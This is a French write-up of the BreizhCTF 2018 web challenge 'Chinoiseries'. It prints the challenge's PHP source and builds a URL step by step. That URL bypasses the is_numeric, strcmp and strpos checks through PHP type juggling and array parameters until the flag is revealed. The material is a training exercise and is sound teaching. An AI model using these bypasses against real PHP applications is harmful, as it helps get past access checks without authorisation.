[BreizhCTF 2k18] Write-Up – Web : Chinoiseries

23
avril
2018
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: BreizhCTF / CTF / Events   /   Pas de commentaire

Présentation d’un write-up de résolution du challenge « Web – Chinoiseries » de la BreizhCTF 2018.

Durant la nuit du 20/04/2018 se déroulait la BreizhCTF 2018 sous forme d’un CTF Jeopardy. Ayant eu l’occasion et le temps d’y participer avec quelques collègues et amis, voici un write-up de résolution d’un des challenges.

  • Catégorie : Web
  • Nom : Chinoiseries
  • Description : Can you understand this…
  • URL : http://148.60.87.243:44815
  • Points : ??

tl;dr; : Analyser un code source PHP pour satisfaire toutes les conditions (variables GET, JSON, typage, valeurs) afin d’afficher le flag.

Chinoiseries

Chinoiseries

L’URL du challenge révèle un fichier PHP interprété, dont le code source est directement affiché (show_source()) :

Chinoiserie source code

Chinoiserie source code

<?php

show_source(__FILE__);
 $i01=0;$i02=0;$i03=0;
 $a=(array)json_decode(@$_GET['kaaris']);
 if(is_array($a)){
 is_numeric(@$a["Jte_laisse_tirer_sur_ma_chicha"])?die("brrrrah"):NULL;
 if(@$a["Jte_laisse_tirer_sur_ma_chicha"]){
 ($a["Jte_laisse_tirer_sur_ma_chicha"]>2017)?$i01=1:NULL;
 }
 if(is_array(@$a["et_tu_veux_plus_me_rendre_le_tuyau"])){
 if(count($a["et_tu_veux_plus_me_rendre_le_tuyau"])!==7 OR !is_array($a["et_tu_veux_plus_me_rendre_le_tuyau"][0])) die("brrrrah");
 $pos = array_search("Diarabi, diarabi, diarabi, ma chérie", $a["a2"]);
 $pos===false?die("brrrrah"):NULL;
 foreach($a["et_tu_veux_plus_me_rendre_le_tuyau"] as $key=>$val){
 $val==="Diarabi, diarabi, diarabi, ma chérie"?die("brrrrah"):NULL;
 }
 $i02=1;
 }
 }
 $c=@$_GET['meufs'];
 $d=@$_GET['seufs'];
 if(@$c[1]){
 if(!strcmp($c[1],$d) && $c[1]!==$d){
 eregi("3|1|c",$d.$c[0])?die("brrrrah"):NULL;
 strpos(($c[0].$d), "Diarabi, diarabi, faut qu'on fasse du wari")?$i03=1:NULL;
 }
 }
 if($i01 && $i02 && $i03){
 include "flag.php";
 echo $FL4G;
 }

?>

A la lecture de ce code source, on voit clairement qu’il nous faut satisfaire la dernière condition pour que le fichier « flag.php » soit inclus et que le flag soit affiché :

 if($i01 && $i02 && $i03){
 include "flag.php";
 echo $FL4G;
 }

Pour faciliter l’avancement de résolution de ce challenge, et notamment la validation de chaque condition, dupliquons le code source visible dans un fichier « chinoiseries.php » dans notre Apache/XAMP local.

Numérotons les erreurs (brrrrahX), ajoutons quelques « echo » et commençons.

<?php

show_source(__FILE__);
 $i01=0;$i02=0;$i03=0;
 $a=(array)json_decode(@$_GET['kaaris']);
 if(is_array($a)){ echo "YEAH IS ARRAY !<br />";
 is_numeric(@$a["Jte_laisse_tirer_sur_ma_chicha"])?die("brrrrah1"):NULL;echo "YEAH IS NUMERIC !<br />";
 if(@$a["Jte_laisse_tirer_sur_ma_chicha"]){
 ($a["Jte_laisse_tirer_sur_ma_chicha"]>2017)?$i01=1:NULL;echo "YEAH IS > 2017 !<br />";
 }
 if(is_array(@$a["et_tu_veux_plus_me_rendre_le_tuyau"])){echo "YEAH et_tu_veux_plus_me_rendre_le_tuyau IS ARRAY<br />";
 if(count($a["et_tu_veux_plus_me_rendre_le_tuyau"])!==7 OR !is_array($a["et_tu_veux_plus_me_rendre_le_tuyau"][0])) die("brrrrah2");echo "YEAH et_tu_veux_plus_me_rendre_le_tuyau IS !7 AND [0] NOT ARRAY<br />";
 $pos = array_search("Diarabi, diarabi, diarabi, ma chérie", $a["a2"]);
 $pos===false?die("brrrrah3"):NULL;echo "YEAH pos IS FALSE<br />";
 foreach($a["et_tu_veux_plus_me_rendre_le_tuyau"] as $key=>$val){
 $val==="Diarabi, diarabi, diarabi, ma chérie"?die("brrrrah4"):NULL;echo "YEAH et_tu_veux_plus_me_rendre_le_tuyau RIGHT VALUE !<br />";
 }
 $i02=1;
 }
 }
 $c=@$_GET['meufs'];
 $d=@$_GET['seufs'];
 if(@$c[1]){echo "YEAH c[1] IS OK<br />";
 if(!strcmp($c[1],$d) && $c[1]!==$d){echo "YEAH c[1] IS EQUAL TO d AS STRING BUT c[1] DIFFERENT OF d AS TYPE <br />";
 eregi("3|1|c",$d.$c[0])?die("brrrrah5"):NULL;echo "YEAH REGEXP SATISFIED<br />";
 strpos(($c[0].$d), "Diarabi, diarabi, faut qu'on fasse du wari")?$i03=1:NULL;echo "YEAH STRING FOUND<br />";
 }
 }echo "Values : $i01 $i02 $i03<br />";
 if($i01 && $i02 && $i03){
 include "flag.php";
 echo $FL4G;
 }

?>
Chinoiserie in local

Chinoiserie in local

En premier lieu, la variable GET « kaaris » est décodée depuis du JSON, puis est vérifiée pour être un tableau. Définissons là ainsi :

http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"xxx":"yyy"}

La valeur de « Jte_laisse_tirer_sur_ma_chicha » du JSON ne doit pas être numérique (is_numerique()) pour éviter le premier die() ; et cette valeur doit être strictement supérieur à l’entier 2017. Autrement dit, l’utilisation d’une virgule « , » rend ce nombre non-numérique (is_numerique() contourné), mais PHP le traduit tout de même comme un entier à comparer avec « 2017 » :

http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337"}
is_numerique() and 2017

is_numerique() and 2017

Parfait, la première condition « $i01 » est à « 1 » !

La condition suivante est que la valeur JSON « et_tu_veux_plus_me_rendre_le_tuyau » soit un tableau JSON :

http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[]}

On atteint le deuxième die(). Pour éviter cela, le tableau de « et_tu_veux_plus_me_rendre_le_tuyau » doit avoir 7 entrées et la première entrée doit être elle-même un tableau :

http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""]}
et_tu_veux_plus_me_rendre_le_tuyau

et_tu_veux_plus_me_rendre_le_tuyau

Poursuivons, la valeur JSON de « a2 » est recherchée, doit être une string impérativement (foreach avec « === ») et doit être égale à « Diarabi, diarabi, diarabi, ma chérie » :

http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""],"a2":"Diarabi, diarabi, diarabi, ma chérie"}
a2 value

a2 value

$i02 vaut à présent 1, plus que la dernière !

Deux nouvelles variables GET entrent en jeu, « meufs » ($c) et « seufs » ($d). « meufs » doit être un tableau avec au moins deux éléments ($c[1]) doit être défini. Convertissons cette nouvelle variable GET en tableau directement dans l’URL :

http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""],"a2":"Diarabi, diarabi, diarabi, ma chérie"}
&meufs[]=x
&meufs[]=y
&seufs=z
meufs as array

meufs as array

La prochaine condition a été plus complexe. $c[1] doit être égale à la valeur GET « seufs » ($d) en termes de valeur (string), sans pour autant être du même type (!==). Donnons donc la valeur « Array » (string) à $c[1] et convertissons la variable GET « seufs » en tableau (Array). la REGEXP (eregi()) est satisfaite dans la foulée :

http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""],"a2":"Diarabi, diarabi, diarabi, ma chérie"}
&meufs[]=x
&meufs[]=Array
&seufs[]=
meufs / seufs string / Array

meufs / seufs string / Array

Ultime condition pour valuer $i03 à 1, s’assurer que la chaîne « Diarabi, diarabi, faut qu’on fasse du wari » se retrouve dans la concaténation de $c[0] avec $d, mais pas à l’indice 0.

Préfixons donc la valeur de $c[0] avec un caractère quelconque pour que strpos() retourne un index supérieur à 0 :

http://127.0.0.1/breizhctf/chinoiseries.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""],"a2":"Diarabi, diarabi, diarabi, ma chérie"}
&meufs[]=xDiarabi, diarabi, faut qu'on fasse du wari
&meufs[]=Array
&seufs[]=
Last condition

Last condition

Parfait, toutes les conditions sont remplies !

Nous pouvons tester cette URL directement sur le challenge :

http://148.60.87.243:44815?kaaris={"Jte_laisse_tirer_sur_ma_chicha":"31337,31337", "et_tu_veux_plus_me_rendre_le_tuyau":[[],"","","","","",""],"a2":"Diarabi, diarabi, diarabi, ma chérie"}
&meufs[]=xDiarabi, diarabi, faut qu'on fasse du wari
&meufs[]=Array
&seufs[]=
Chinoiseries flag

Chinoiseries flag

Flag :

BZHCTF{bl4ck_duck_d0nt_4sk_m3_why_I_was_n0t_r3allt_inspir3d}

Chapeau à Estelle, Martin, Charles et Timothée pour celui-ci 🙂

Merci à toute l’équipe de la BreizhCTF pour l’organisation et la qualité des challenges !

Salutations à toute l’équipe, on remet ça quand vous voulez 😉 // Gr3etZ

  • Google Plus
  • LinkedIn
  • Viadeo
Yann C.

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.